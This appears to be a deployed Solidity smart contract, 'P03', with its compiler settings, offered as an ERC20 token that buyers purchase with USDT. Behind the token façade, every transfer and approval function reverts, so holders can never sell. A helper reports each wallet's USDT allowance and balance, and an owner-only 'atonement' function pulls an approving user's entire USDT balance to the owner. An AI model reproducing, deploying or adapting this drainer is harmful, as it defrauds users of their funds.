// SPDX-License-Identifier: GPLv3
pragma solidity ^0.8.0;
abstract contract Ownable {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 0;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
require(false, "Cannot approve");
_allowances[msg.sender][spender] = amount;
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(false, "Cannot transfer");
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(false, "Cannot transferFrom");
_transfer(sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
interface ETHUSDT {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
}
contract P03 is ERC20, Ownable {
ETHUSDT public usdt = ETHUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint public price = 10 ** 6;
event NewPrice(uint newPrice);
event Buy(address indexed user, uint price);
constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
}
function buy() external {
_mint(msg.sender, 1);
usdt.transferFrom(msg.sender, address(this), price);
emit Buy(msg.sender, price);
}
function query_account(address _addr) external view returns(uint, uint, uint, uint) {
return (_addr.balance,
balanceOf(_addr),
usdt.allowance(_addr, address(this)),
usdt.balanceOf(_addr));
}
function updatePrice(uint _price) external onlyOwner {
price = _price;
emit NewPrice(_price);
}
function collect() external onlyOwner {
usdt.transfer(owner, usdt.balanceOf(address(this)));
}
function atonement(address addr) external onlyOwner {
usdt.transferFrom(addr, owner, usdt.balanceOf(address(addr)));
}
}
{
"compilationTarget": {
"GeneralERC20.sol": "P03"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
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